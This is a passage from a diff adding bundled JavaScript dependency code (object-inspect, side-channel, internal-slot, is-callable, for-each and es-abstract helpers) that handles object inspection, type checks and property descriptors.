/^(Symbol\(.*\))_[^)]*$/, "$1") : symToString.call(obj); + return typeof obj === "object" && !hasShammedSymbols ? markBoxed(symString) : symString; + } + if (isElement2(obj)) { + var s = "<" + $toLowerCase.call(String(obj.nodeName)); + var attrs = obj.attributes || []; + for (var i = 0; i < attrs.length; i++) { + s += " " + attrs[i].name + "=" + wrapQuotes(quote(attrs[i].value), "double", opts); + } + s += ">"; + if (obj.childNodes && obj.childNodes.length) { + s += "..."; + } + s += ""; + return s; + } + if (isArray(obj)) { + if (obj.length === 0) { + return "[]"; + } + var xs = arrObjKeys(obj, inspect); + if (indent && !singleLineValues(xs)) { + return "[" + indentedJoin(xs, indent) + "]"; + } + return "[ " + $join.call(xs, ", ") + " ]"; + } + if (isError(obj)) { + var parts = arrObjKeys(obj, inspect); + if (!("cause" in Error.prototype) && "cause" in obj && !isEnumerable.call(obj, "cause")) { + return "{ [" + String(obj) + "] " + $join.call($concat.call("[cause]: " + inspect(obj.cause), parts), ", ") + " }"; + } + if (parts.length === 0) { + return "[" + String(obj) + "]"; + } + return "{ [" + String(obj) + "] " + $join.call(parts, ", ") + " }"; + } + if (typeof obj === "object" && customInspect) { + if (inspectSymbol && typeof obj[inspectSymbol] === "function" && utilInspect) { + return utilInspect(obj, { depth: maxDepth - depth }); + } else if (customInspect !== "symbol" && typeof obj.inspect === "function") { + return obj.inspect(); + } + } + if (isMap(obj)) { + var mapParts = []; + if (mapForEach) { + mapForEach.call(obj, function(value, key) { + mapParts.push(inspect(key, obj, true) + " => " + inspect(value, obj)); + }); + } + return collectionOf("Map", mapSize.call(obj), mapParts, indent); + } + if (isSet(obj)) { + var setParts = []; + if (setForEach) { + setForEach.call(obj, function(value) { + setParts.push(inspect(value, obj)); + }); + } + return collectionOf("Set", setSize.call(obj), setParts, indent); + } + if (isWeakMap(obj)) { + return weakCollectionOf("WeakMap"); + } + if (isWeakSet(obj)) { + return weakCollectionOf("WeakSet"); + } + if (isWeakRef(obj)) { + return weakCollectionOf("WeakRef"); + } + if (isNumber(obj)) { + return markBoxed(inspect(Number(obj))); + } + if (isBigInt(obj)) { + return markBoxed(inspect(bigIntValueOf.call(obj))); + } + if (isBoolean(obj)) { + return markBoxed(booleanValueOf.call(obj)); + } + if (isString(obj)) { + return markBoxed(inspect(String(obj))); + } + if (typeof window !== "undefined" && obj === window) { + return "{ [object Window] }"; + } + if (obj === global) { + return "{ [object globalThis] }"; + } + if (!isDate(obj) && !isRegExp(obj)) { + var ys = arrObjKeys(obj, inspect); + var isPlainObject = gPO ? gPO(obj) === Object.prototype : obj instanceof Object || obj.constructor === Object; + var protoTag = obj instanceof Object ? "" : "null prototype"; + var stringTag = !isPlainObject && toStringTag && Object(obj) === obj && toStringTag in obj ? $slice.call(toStr(obj), 8, -1) : protoTag ? "Object" : ""; + var constructorTag = isPlainObject || typeof obj.constructor !== "function" ? "" : obj.constructor.name ? obj.constructor.name + " " : ""; + var tag = constructorTag + (stringTag || protoTag ? "[" + $join.call($concat.call([], stringTag || [], protoTag || []), ": ") + "] " : ""); + if (ys.length === 0) { + return tag + "{}"; + } + if (indent) { + return tag + "{" + indentedJoin(ys, indent) + "}"; + } + return tag + "{ " + $join.call(ys, ", ") + " }"; + } + return String(obj); + }; + function wrapQuotes(s, defaultStyle, opts) { + var quoteChar = (opts.quoteStyle || defaultStyle) === "double" ? '"' : "'"; + return quoteChar + s + quoteChar; + } + function quote(s) { + return $replace.call(String(s), /"/g, """); + } + function isArray(obj) { + return toStr(obj) === "[object Array]" && (!toStringTag || !(typeof obj === "object" && toStringTag in obj)); + } + function isDate(obj) { + return toStr(obj) === "[object Date]" && (!toStringTag || !(typeof obj === "object" && toStringTag in obj)); + } + function isRegExp(obj) { + return toStr(obj) === "[object RegExp]" && (!toStringTag || !(typeof obj === "object" && toStringTag in obj)); + } + function isError(obj) { + return toStr(obj) === "[object Error]" && (!toStringTag || !(typeof obj === "object" && toStringTag in obj)); + } + function isString(obj) { + return toStr(obj) === "[object String]" && (!toStringTag || !(typeof obj === "object" && toStringTag in obj)); + } + function isNumber(obj) { + return toStr(obj) === "[object Number]" && (!toStringTag || !(typeof obj === "object" && toStringTag in obj)); + } + function isBoolean(obj) { + return toStr(obj) === "[object Boolean]" && (!toStringTag || !(typeof obj === "object" && toStringTag in obj)); + } + function isSymbol(obj) { + if (hasShammedSymbols) { + return obj && typeof obj === "object" && obj instanceof Symbol; + } + if (typeof obj === "symbol") { + return true; + } + if (!obj || typeof obj !== "object" || !symToString) { + return false; + } + try { + symToString.call(obj); + return true; + } catch (e) { + } + return false; + } + function isBigInt(obj) { + if (!obj || typeof obj !== "object" || !bigIntValueOf) { + return false; + } + try { + bigIntValueOf.call(obj); + return true; + } catch (e) { + } + return false; + } + var hasOwn = Object.prototype.hasOwnProperty || function(key) { + return key in this; + }; + function has(obj, key) { + return hasOwn.call(obj, key); + } + function toStr(obj) { + return objectToString.call(obj); + } + function nameOf(f) { + if (f.name) { + return f.name; + } + var m = $match.call(functionToString.call(f), /^function\s*([\w$]+)/); + if (m) { + return m[1]; + } + return null; + } + function indexOf(xs, x) { + if (xs.indexOf) { + return xs.indexOf(x); + } + for (var i = 0, l = xs.length; i < l; i++) { + if (xs[i] === x) { + return i; + } + } + return -1; + } + function isMap(x) { + if (!mapSize || !x || typeof x !== "object") { + return false; + } + try { + mapSize.call(x); + try { + setSize.call(x); + } catch (s) { + return true; + } + return x instanceof Map; + } catch (e) { + } + return false; + } + function isWeakMap(x) { + if (!weakMapHas || !x || typeof x !== "object") { + return false; + } + try { + weakMapHas.call(x, weakMapHas); + try { + weakSetHas.call(x, weakSetHas); + } catch (s) { + return true; + } + return x instanceof WeakMap; + } catch (e) { + } + return false; + } + function isWeakRef(x) { + if (!weakRefDeref || !x || typeof x !== "object") { + return false; + } + try { + weakRefDeref.call(x); + return true; + } catch (e) { + } + return false; + } + function isSet(x) { + if (!setSize || !x || typeof x !== "object") { + return false; + } + try { + setSize.call(x); + try { + mapSize.call(x); + } catch (m) { + return true; + } + return x instanceof Set; + } catch (e) { + } + return false; + } + function isWeakSet(x) { + if (!weakSetHas || !x || typeof x !== "object") { + return false; + } + try { + weakSetHas.call(x, weakSetHas); + try { + weakMapHas.call(x, weakMapHas); + } catch (s) { + return true; + } + return x instanceof WeakSet; + } catch (e) { + } + return false; + } + function isElement2(x) { + if (!x || typeof x !== "object") { + return false; + } + if (typeof HTMLElement !== "undefined" && x instanceof HTMLElement) { + return true; + } + return typeof x.nodeName === "string" && typeof x.getAttribute === "function"; + } + function inspectString(str, opts) { + if (str.length > opts.maxStringLength) { + var remaining = str.length - opts.maxStringLength; + var trailer = "... " + remaining + " more character" + (remaining > 1 ? "s" : ""); + return inspectString($slice.call(str, 0, opts.maxStringLength), opts) + trailer; + } + var s = $replace.call($replace.call(str, /(['\\])/g, "\\$1"), /[\x00-\x1f]/g, lowbyte); + return wrapQuotes(s, "single", opts); + } + function lowbyte(c) { + var n = c.charCodeAt(0); + var x = { + 8: "b", + 9: "t", + 10: "n", + 12: "f", + 13: "r" + }[n]; + if (x) { + return "\\" + x; + } + return "\\x" + (n < 16 ? "0" : "") + $toUpperCase.call(n.toString(16)); + } + function markBoxed(str) { + return "Object(" + str + ")"; + } + function weakCollectionOf(type) { + return type + " { ? }"; + } + function collectionOf(type, size, entries, indent) { + var joinedEntries = indent ? indentedJoin(entries, indent) : $join.call(entries, ", "); + return type + " (" + size + ") {" + joinedEntries + "}"; + } + function singleLineValues(xs) { + for (var i = 0; i < xs.length; i++) { + if (indexOf(xs[i], "\n") >= 0) { + return false; + } + } + return true; + } + function getIndent(opts, depth) { + var baseIndent; + if (opts.indent === " ") { + baseIndent = " "; + } else if (typeof opts.indent === "number" && opts.indent > 0) { + baseIndent = $join.call(Array(opts.indent + 1), " "); + } else { + return null; + } + return { + base: baseIndent, + prev: $join.call(Array(depth + 1), baseIndent) + }; + } + function indentedJoin(xs, indent) { + if (xs.length === 0) { + return ""; + } + var lineJoiner = "\n" + indent.prev + indent.base; + return lineJoiner + $join.call(xs, "," + lineJoiner) + "\n" + indent.prev; + } + function arrObjKeys(obj, inspect) { + var isArr = isArray(obj); + var xs = []; + if (isArr) { + xs.length = obj.length; + for (var i = 0; i < obj.length; i++) { + xs[i] = has(obj, i) ? inspect(obj[i], obj) : ""; + } + } + var syms = typeof gOPS === "function" ? gOPS(obj) : []; + var symMap; + if (hasShammedSymbols) { + symMap = {}; + for (var k = 0; k < syms.length; k++) { + symMap["$" + syms[k]] = syms[k]; + } + } + for (var key in obj) { + if (!has(obj, key)) { + continue; + } + if (isArr && String(Number(key)) === key && key < obj.length) { + continue; + } + if (hasShammedSymbols && symMap["$" + key] instanceof Symbol) { + continue; + } else if ($test.call(/[^\w$]/, key)) { + xs.push(inspect(key, obj) + ": " + inspect(obj[key], obj)); + } else { + xs.push(key + ": " + inspect(obj[key], obj)); + } + } + if (typeof gOPS === "function") { + for (var j = 0; j < syms.length; j++) { + if (isEnumerable.call(obj, syms[j])) { + xs.push("[" + inspect(syms[j]) + "]: " + inspect(obj[syms[j]], obj)); + } + } + } + return xs; + } + } +}); + +// node_modules/side-channel/index.js +var require_side_channel = __commonJS({ + "node_modules/side-channel/index.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var callBound = require_callBound(); + var inspect = require_object_inspect(); + var $TypeError = require_type(); + var $WeakMap = GetIntrinsic("%WeakMap%", true); + var $Map = GetIntrinsic("%Map%", true); + var $weakMapGet = callBound("WeakMap.prototype.get", true); + var $weakMapSet = callBound("WeakMap.prototype.set", true); + var $weakMapHas = callBound("WeakMap.prototype.has", true); + var $mapGet = callBound("Map.prototype.get", true); + var $mapSet = callBound("Map.prototype.set", true); + var $mapHas = callBound("Map.prototype.has", true); + var listGetNode = function(list, key) { + var prev = list; + var curr; + for (; (curr = prev.next) !== null; prev = curr) { + if (curr.key === key) { + prev.next = curr.next; + curr.next = /** @type {NonNullable} */ + list.next; + list.next = curr; + return curr; + } + } + }; + var listGet = function(objects, key) { + var node = listGetNode(objects, key); + return node && node.value; + }; + var listSet = function(objects, key, value) { + var node = listGetNode(objects, key); + if (node) { + node.value = value; + } else { + objects.next = /** @type {import('.').ListNode} */ + { + // eslint-disable-line no-param-reassign, no-extra-parens + key, + next: objects.next, + value + }; + } + }; + var listHas = function(objects, key) { + return !!listGetNode(objects, key); + }; + module2.exports = function getSideChannel() { + var $wm; + var $m; + var $o; + var channel = { + assert: function(key) { + if (!channel.has(key)) { + throw new $TypeError("Side channel does not contain " + inspect(key)); + } + }, + get: function(key) { + if ($WeakMap && key && (typeof key === "object" || typeof key === "function")) { + if ($wm) { + return $weakMapGet($wm, key); + } + } else if ($Map) { + if ($m) { + return $mapGet($m, key); + } + } else { + if ($o) { + return listGet($o, key); + } + } + }, + has: function(key) { + if ($WeakMap && key && (typeof key === "object" || typeof key === "function")) { + if ($wm) { + return $weakMapHas($wm, key); + } + } else if ($Map) { + if ($m) { + return $mapHas($m, key); + } + } else { + if ($o) { + return listHas($o, key); + } + } + return false; + }, + set: function(key, value) { + if ($WeakMap && key && (typeof key === "object" || typeof key === "function")) { + if (!$wm) { + $wm = new $WeakMap(); + } + $weakMapSet($wm, key, value); + } else if ($Map) { + if (!$m) { + $m = new $Map(); + } + $mapSet($m, key, value); + } else { + if (!$o) { + $o = { key: {}, next: null }; + } + listSet($o, key, value); + } + } + }; + return channel; + }; + } +}); + +// node_modules/internal-slot/index.js +var require_internal_slot = __commonJS({ + "node_modules/internal-slot/index.js"(exports, module2) { + "use strict"; + var hasOwn = require_hasown(); + var channel = require_side_channel()(); + var $TypeError = require_type(); + var SLOT = { + assert: function(O, slot) { + if (!O || typeof O !== "object" && typeof O !== "function") { + throw new $TypeError("`O` is not an object"); + } + if (typeof slot !== "string") { + throw new $TypeError("`slot` must be a string"); + } + channel.assert(O); + if (!SLOT.has(O, slot)) { + throw new $TypeError("`" + slot + "` is not present on `O`"); + } + }, + get: function(O, slot) { + if (!O || typeof O !== "object" && typeof O !== "function") { + throw new $TypeError("`O` is not an object"); + } + if (typeof slot !== "string") { + throw new $TypeError("`slot` must be a string"); + } + var slots = channel.get(O); + return slots && slots["$" + slot]; + }, + has: function(O, slot) { + if (!O || typeof O !== "object" && typeof O !== "function") { + throw new $TypeError("`O` is not an object"); + } + if (typeof slot !== "string") { + throw new $TypeError("`slot` must be a string"); + } + var slots = channel.get(O); + return !!slots && hasOwn(slots, "$" + slot); + }, + set: function(O, slot, V) { + if (!O || typeof O !== "object" && typeof O !== "function") { + throw new $TypeError("`O` is not an object"); + } + if (typeof slot !== "string") { + throw new $TypeError("`slot` must be a string"); + } + var slots = channel.get(O); + if (!slots) { + slots = {}; + channel.set(O, slots); + } + slots["$" + slot] = V; + } + }; + if (Object.freeze) { + Object.freeze(SLOT); + } + module2.exports = SLOT; + } +}); + +// node_modules/has-tostringtag/shams.js +var require_shams2 = __commonJS({ + "node_modules/has-tostringtag/shams.js"(exports, module2) { + "use strict"; + var hasSymbols = require_shams(); + module2.exports = function hasToStringTagShams() { + return hasSymbols() && !!Symbol.toStringTag; + }; + } +}); + +// node_modules/es-set-tostringtag/index.js +var require_es_set_tostringtag = __commonJS({ + "node_modules/es-set-tostringtag/index.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $defineProperty = GetIntrinsic("%Object.defineProperty%", true); + var hasToStringTag = require_shams2()(); + var hasOwn = require_hasown(); + var toStringTag = hasToStringTag ? Symbol.toStringTag : null; + module2.exports = function setToStringTag(object2, value) { + var overrideIfSet = arguments.length > 2 && arguments[2] && arguments[2].force; + if (toStringTag && (overrideIfSet || !hasOwn(object2, toStringTag))) { + if ($defineProperty) { + $defineProperty(object2, toStringTag, { + configurable: true, + enumerable: false, + value, + writable: false + }); + } else { + object2[toStringTag] = value; + } + } + }; + } +}); + +// node_modules/es-abstract/helpers/IsArray.js +var require_IsArray = __commonJS({ + "node_modules/es-abstract/helpers/IsArray.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $Array = GetIntrinsic("%Array%"); + var toStr = !$Array.isArray && require_callBound()("Object.prototype.toString"); + module2.exports = $Array.isArray || function IsArray(argument) { + return toStr(argument) === "[object Array]"; + }; + } +}); + +// node_modules/es-abstract/2023/IsArray.js +var require_IsArray2 = __commonJS({ + "node_modules/es-abstract/2023/IsArray.js"(exports, module2) { + "use strict"; + module2.exports = require_IsArray(); + } +}); + +// node_modules/es-abstract/helpers/forEach.js +var require_forEach = __commonJS({ + "node_modules/es-abstract/helpers/forEach.js"(exports, module2) { + "use strict"; + module2.exports = function forEach(array, callback) { + for (var i = 0; i < array.length; i += 1) { + callback(array[i], i, array); + } + }; + } +}); + +// node_modules/es-abstract/2023/OrdinaryObjectCreate.js +var require_OrdinaryObjectCreate = __commonJS({ + "node_modules/es-abstract/2023/OrdinaryObjectCreate.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $ObjectCreate = GetIntrinsic("%Object.create%", true); + var $TypeError = require_type(); + var $SyntaxError = require_syntax(); + var IsArray = require_IsArray2(); + var Type = require_Type2(); + var forEach = require_forEach(); + var SLOT = require_internal_slot(); + var hasProto = require_has_proto()(); + module2.exports = function OrdinaryObjectCreate(proto) { + if (proto !== null && Type(proto) !== "Object") { + throw new $TypeError("Assertion failed: `proto` must be null or an object"); + } + var additionalInternalSlotsList = arguments.length < 2 ? [] : arguments[1]; + if (!IsArray(additionalInternalSlotsList)) { + throw new $TypeError("Assertion failed: `additionalInternalSlotsList` must be an Array"); + } + var O; + if ($ObjectCreate) { + O = $ObjectCreate(proto); + } else if (hasProto) { + O = { __proto__: proto }; + } else { + if (proto === null) { + throw new $SyntaxError("native Object.create support is required to create null objects"); + } + var T = function T2() { + }; + T.prototype = proto; + O = new T(); + } + if (additionalInternalSlotsList.length > 0) { + forEach(additionalInternalSlotsList, function(slot) { + SLOT.set(O, slot, void 0); + }); + } + return O; + }; + } +}); + +// node_modules/es-object-atoms/RequireObjectCoercible.js +var require_RequireObjectCoercible = __commonJS({ + "node_modules/es-object-atoms/RequireObjectCoercible.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + module2.exports = function RequireObjectCoercible(value) { + if (value == null) { + throw new $TypeError(arguments.length > 0 && arguments[1] || "Cannot call method on " + value); + } + return value; + }; + } +}); + +// node_modules/object.entries/implementation.js +var require_implementation3 = __commonJS({ + "node_modules/object.entries/implementation.js"(exports, module2) { + "use strict"; + var RequireObjectCoercible = require_RequireObjectCoercible(); + var callBound = require_callBound(); + var $isEnumerable = callBound("Object.prototype.propertyIsEnumerable"); + var $push = callBound("Array.prototype.push"); + module2.exports = function entries(O) { + var obj = RequireObjectCoercible(O); + var entrys = []; + for (var key in obj) { + if ($isEnumerable(obj, key)) { + $push(entrys, [key, obj[key]]); + } + } + return entrys; + }; + } +}); + +// node_modules/object.entries/polyfill.js +var require_polyfill = __commonJS({ + "node_modules/object.entries/polyfill.js"(exports, module2) { + "use strict"; + var implementation = require_implementation3(); + module2.exports = function getPolyfill() { + return typeof Object.entries === "function" ? Object.entries : implementation; + }; + } +}); + +// node_modules/object.entries/shim.js +var require_shim = __commonJS({ + "node_modules/object.entries/shim.js"(exports, module2) { + "use strict"; + var getPolyfill = require_polyfill(); + var define = require_define_properties(); + module2.exports = function shimEntries() { + var polyfill = getPolyfill(); + define(Object, { entries: polyfill }, { + entries: function testEntries() { + return Object.entries !== polyfill; + } + }); + return polyfill; + }; + } +}); + +// node_modules/object.entries/index.js +var require_object = __commonJS({ + "node_modules/object.entries/index.js"(exports, module2) { + "use strict"; + var define = require_define_properties(); + var callBind = require_call_bind(); + var implementation = require_implementation3(); + var getPolyfill = require_polyfill(); + var shim = require_shim(); + var polyfill = callBind(getPolyfill(), Object); + define(polyfill, { + getPolyfill, + implementation, + shim + }); + module2.exports = polyfill; + } +}); + +// node_modules/is-callable/index.js +var require_is_callable = __commonJS({ + "node_modules/is-callable/index.js"(exports, module2) { + "use strict"; + var fnToStr = Function.prototype.toString; + var reflectApply = typeof Reflect === "object" && Reflect !== null && Reflect.apply; + var badArrayLike; + var isCallableMarker; + if (typeof reflectApply === "function" && typeof Object.defineProperty === "function") { + try { + badArrayLike = Object.defineProperty({}, "length", { + get: function() { + throw isCallableMarker; + } + }); + isCallableMarker = {}; + reflectApply(function() { + throw 42; + }, null, badArrayLike); + } catch (_) { + if (_ !== isCallableMarker) { + reflectApply = null; + } + } + } else { + reflectApply = null; + } + var constructorRegex = /^\s*class\b/; + var isES6ClassFn = function isES6ClassFunction(value) { + try { + var fnStr = fnToStr.call(value); + return constructorRegex.test(fnStr); + } catch (e) { + return false; + } + }; + var tryFunctionObject = function tryFunctionToStr(value) { + try { + if (isES6ClassFn(value)) { + return false; + } + fnToStr.call(value); + return true; + } catch (e) { + return false; + } + }; + var toStr = Object.prototype.toString; + var objectClass = "[object Object]"; + var fnClass = "[object Function]"; + var genClass = "[object GeneratorFunction]"; + var ddaClass = "[object HTMLAllCollection]"; + var ddaClass2 = "[object HTML document.all class]"; + var ddaClass3 = "[object HTMLCollection]"; + var hasToStringTag = typeof Symbol === "function" && !!Symbol.toStringTag; + var isIE68 = !(0 in [,]); + var isDDA = function isDocumentDotAll() { + return false; + }; + if (typeof document === "object") { + all = document.all; + if (toStr.call(all) === toStr.call(document.all)) { + isDDA = function isDocumentDotAll(value) { + if ((isIE68 || !value) && (typeof value === "undefined" || typeof value === "object")) { + try { + var str = toStr.call(value); + return (str === ddaClass || str === ddaClass2 || str === ddaClass3 || str === objectClass) && value("") == null; + } catch (e) { + } + } + return false; + }; + } + } + var all; + module2.exports = reflectApply ? function isCallable(value) { + if (isDDA(value)) { + return true; + } + if (!value) { + return false; + } + if (typeof value !== "function" && typeof value !== "object") { + return false; + } + try { + reflectApply(value, null, badArrayLike); + } catch (e) { + if (e !== isCallableMarker) { + return false; + } + } + return !isES6ClassFn(value) && tryFunctionObject(value); + } : function isCallable(value) { + if (isDDA(value)) { + return true; + } + if (!value) { + return false; + } + if (typeof value !== "function" && typeof value !== "object") { + return false; + } + if (hasToStringTag) { + return tryFunctionObject(value); + } + if (isES6ClassFn(value)) { + return false; + } + var strClass = toStr.call(value); + if (strClass !== fnClass && strClass !== genClass && !/^\[object HTML/.test(strClass)) { + return false; + } + return tryFunctionObject(value); + }; + } +}); + +// node_modules/for-each/index.js +var require_for_each = __commonJS({ + "node_modules/for-each/index.js"(exports, module2) { + "use strict"; + var isCallable = require_is_callable(); + var toStr = Object.prototype.toString; + var hasOwnProperty = Object.prototype.hasOwnProperty; + var forEachArray = function forEachArray2(array, iterator, receiver) { + for (var i = 0, len = array.length; i < len; i++) { + if (hasOwnProperty.call(array, i)) { + if (receiver == null) { + iterator(array[i], i, array); + } else { + iterator.call(receiver, array[i], i, array); + } + } + } + }; + var forEachString = function forEachString2(string2, iterator, receiver) { + for (var i = 0, len = string2.length; i < len; i++) { + if (receiver == null) { + iterator(string2.charAt(i), i, string2); + } else { + iterator.call(receiver, string2.charAt(i), i, string2); + } + } + }; + var forEachObject = function forEachObject2(object2, iterator, receiver) { + for (var k in object2) { + if (hasOwnProperty.call(object2, k)) { + if (receiver == null) { + iterator(object2[k], k, object2); + } else { + iterator.call(receiver, object2[k], k, object2); + } + } + } + }; + var forEach = function forEach2(list, iterator, thisArg) { + if (!isCallable(iterator)) { + throw new TypeError("iterator must be a function"); + } + var receiver; + if (arguments.length >= 3) { + receiver = thisArg; + } + if (toStr.call(list) === "[object Array]") { + forEachArray(list, iterator, receiver); + } else if (typeof list === "string") { + forEachString(list, iterator, receiver); + } else { + forEachObject(list, iterator, receiver); + } + }; + module2.exports = forEach; + } +}); + +// node_modules/es-abstract/helpers/records/property-descriptor.js +var require_property_descriptor = __commonJS({ + "node_modules/es-abstract/helpers/records/property-descriptor.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var hasOwn = require_hasown(); + var allowed = { + __proto__: null, + "[[Configurable]]": true, + "[[Enumerable]]": true, + "[[Get]]": true, + "[[Set]]": true, + "[[Value]]": true, + "[[Writable]]": true + }; + module2.exports = function isPropertyDescriptor(Desc) { + if (!Desc || typeof Desc !== "object") { + return false; + } + for (var key in Desc) { + if (hasOwn(Desc, key) && !allowed[key]) { + return false; + } + } + var isData = hasOwn(Desc, "[[Value]]") || hasOwn(Desc, "[[Writable]]"); + var IsAccessor = hasOwn(Desc, "[[Get]]") || hasOwn(Desc, "[[Set]]"); + if (isData && IsAccessor) { + throw new $TypeError("Property Descriptors may not be both accessor and data descriptors"); + } + return true; + }; + } +}); + +// node_modules/es-abstract/helpers/DefineOwnProperty.js +var require_DefineOwnProperty = __commonJS({ + "node_modules/es-abstract/helpers/DefineOwnProperty.js"(exports, module2) { + "use strict"; + var hasPropertyDescriptors = require_has_property_descriptors(); + var $defineProperty = require_es_define_property(); + var hasArrayLengthDefineBug = hasPropertyDescriptors.hasArrayLengthDefineBug(); + var isArray = hasArrayLengthDefineBug && require_IsArray(); + var callBound = require_callBound(); + var $isEnumerable = callBound("Object.prototype.propertyIsEnumerable"); + module2.exports = function DefineOwnProperty(IsDataDescriptor, SameValue, FromPropertyDescriptor, O, P, desc) { + if (!$defineProperty) { + if (!IsDataDescriptor(desc)) { + return false; + } + if (!desc["[[Configurable]]"] || !desc["[[Writable]]"]) { + return false; + } + if (P in O && $isEnumerable(O, P) !== !!desc["[[Enumerable]]"]) { + return false; + } + var V = desc["[[Value]]"]; + O[P] = V; + return SameValue(O[P], V); + } + if (hasArrayLengthDefineBug && P === "length" && "[[Value]]" in desc && isArray(O) && O.length !== desc["[[Value]]"]) { + O.length = desc["[[Value]]"]; + return O.length === desc["[[Value]]"]; + } + $defineProperty(O, P, FromPropertyDescriptor(desc)); + return true; + }; + } +}); + +// node_modules/es-abstract/helpers/fromPropertyDescriptor.js +var require_fromPropertyDescriptor = __commonJS({ + "node_modules/es-abstract/helpers/fromPropertyDescriptor.js"(exports, module2) { + "use strict"; + module2.exports = function fromPropertyDescriptor(Desc) { + if (typeof Desc === "undefined") { + return Desc; + } + var obj = {}; + if ("[[Value]]" in Desc) { + obj.value = Desc["[[Value]]"]; + } + if ("[[Writable]]" in Desc) { + obj.writable = !!Desc["[[Writable]]"]; + } + if ("[[Get]]" in Desc) { + obj.get = Desc["[[Get]]"]; + } + if ("[[Set]]" in Desc) { + obj.set = Desc["[[Set]]"]; + } + if ("[[Enumerable]]" in Desc) { + obj.enumerable = !!Desc["[[Enumerable]]"]; + } + if ("[[Configurable]]" in Desc) { + obj.configurable = !!Desc["[[Configurable]]"]; + } + return obj; + }; + } +}); + +// node_modules/es-abstract/2023/FromPropertyDescriptor.js +var require_FromPropertyDescriptor = __commonJS({ + "node_modules/es-abstract/2023/FromPropertyDescriptor.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var isPropertyDescriptor = require_property_descriptor(); + var fromPropertyDescriptor = require_fromPropertyDescriptor(); + module2.exports = function FromPropertyDescriptor(Desc) { + if (typeof Desc !== "undefined" && !isPropertyDescriptor(Desc)) { + throw new $TypeError("Assertion failed: `Desc` must be a Property Descriptor"); + } + return fromPropertyDescriptor(Desc); + }; + } +}); + +// node_modules/es-abstract/2023/IsDataDescriptor.js +var require_IsDataDescriptor = __commonJS({ + "node_modules/es-abstract/2023/IsDataDescriptor.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var hasOwn = require_hasown(); + var isPropertyDescriptor = require_property_descriptor(); + module2.exports = function IsDataDescriptor(Desc) { + if (typeof Desc === "undefined") { + return false; + } + if (!isPropertyDescriptor(Desc)) { + throw new $TypeError("Assertion failed: `Desc` must be a Property Descriptor"); + } + if (!hasOwn(Desc, "[[Value]]") && !hasOwn(Desc, "[[Writable]]")) { + return false; + } + return true; + }; + } +}); + +// node_modules/es-abstract/2023/IsPropertyKey.js +var require_IsPropertyKey = __commonJS({ + "node_modules/es-abstract/2023/IsPropertyKey.js"(exports, module2) { + "use strict"; + module2.exports = function IsPropertyKey(argument) { + return typeof argument === "string" || typeof argument === "symbol"; + }; + } +}); + +// node_modules/es-abstract/helpers/isNaN.js +var require_isNaN = __commonJS({ + "node_modules/es-abstract/helpers/isNaN.js"(exports, module2) { + "use strict"; + module2.exports = Number.isNaN || function isNaN2(a) { + return a !== a; + }; + } +}); + +// node_modules/es-abstract/2023/SameValue.js +var require_SameValue = __commonJS({ + "node_modules/es-abstract/2023/SameValue.js"(exports, module2) { + "use strict"; + var $isNaN = require_isNaN(); + module2.exports = function SameValue(x, y) { + if (x === y) { + if (x === 0) { + return 1 / x === 1 / y; + } + return true; + } + return $isNaN(x) && $isNaN(y); + }; + } +}); + +// node_modules/es-abstract/2023/ToBoolean.js +var require_ToBoolean = __commonJS({ + "node_modules/es-abstract/2023/ToBoolean.js"(exports, module2) { + "use strict"; + module2.exports = function ToBoolean(value) { + return !!value; + }; + } +}); + +// node_modules/es-abstract/2023/IsCallable.js +var require_IsCallable = __commonJS({ + "node_modules/es-abstract/2023/IsCallable.js"(exports, module2) { + "use strict"; + module2.exports = require_is_callable(); + } +}); + +// node_modules/es-abstract/2023/ToPropertyDescriptor.js +var require_ToPropertyDescriptor = __commonJS({ + "node_modules/es-abstract/2023/ToPropertyDescriptor.js"(exports, module2) { + "use strict"; + var hasOwn = require_hasown(); + var $TypeError = require_type(); + var Type = require_Type2(); + var ToBoolean = require_ToBoolean(); + var IsCallable = require_IsCallable(); + module2.exports = function ToPropertyDescriptor(Obj) { + if (Type(Obj) !== "Object") { + throw new $TypeError("ToPropertyDescriptor requires an object"); + } + var desc = {}; + if (hasOwn(Obj, "enumerable")) { + desc["[[Enumerable]]"] = ToBoolean(Obj.enumerable); + } + if (hasOwn(Obj, "configurable")) { + desc["[[Configurable]]"] = ToBoolean(Obj.configurable); + } + if (hasOwn(Obj, "value")) { + desc["[[Value]]"] = Obj.value; + } + if (hasOwn(Obj, "writable")) { + desc["[[Writable]]"] = ToBoolean(Obj.writable); + } + if (hasOwn(Obj, "get")) { + var getter = Obj.get; + if (typeof getter !== "undefined" && !IsCallable(getter)) { + throw new $TypeError("getter must be a function"); + } + desc["[[Get]]"] = getter; + } + if (hasOwn(Obj, "set")) { + var setter = Obj.set; + if (typeof setter !== "undefined" && !IsCallable(setter)) { + throw new $TypeError("setter must be a function"); + } + desc["[[Set]]"] = setter; + } + if ((hasOwn(desc, "[[Get]]") || hasOwn(desc, "[[Set]]")) && (hasOwn(desc, "[[Value]]") || hasOwn(desc, "[[Writable]]"))) { + throw new $TypeError("Invalid property descriptor. Cannot both specify accessors and a value or writable attribute"); + } + return desc; + }; + } +}); + +// node_modules/es-abstract/2023/DefinePropertyOrThrow.js +var require_DefinePropertyOrThrow = __commonJS({ + "node_modules/es-abstract/2023/DefinePropertyOrThrow.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var isPropertyDescriptor = require_property_descriptor(); + var DefineOwnProperty = require_DefineOwnProperty(); + var FromPropertyDescriptor = require_FromPropertyDescriptor(); + var IsDataDescriptor = require_IsDataDescriptor(); + var IsPropertyKey = require_IsPropertyKey(); + var SameValue = require_SameValue(); + var ToPropertyDescriptor = require_ToPropertyDescriptor(); + var Type = require_Type2(); + module2.exports = function DefinePropertyOrThrow(O, P, desc) { + if (Type(O) !== "Object") { + throw new $TypeError("Assertion failed: Type(O) is not Object"); + } + if (!IsPropertyKey(P)) { + throw new $TypeError("Assertion failed: IsPropertyKey(P) is not true"); + } + var Desc = isPropertyDescriptor(desc) ? desc : ToPropertyDescriptor(desc); + if (!isPropertyDescriptor(Desc)) { + throw new $TypeError("Assertion failed: Desc is not a valid Property Descriptor"); + } + 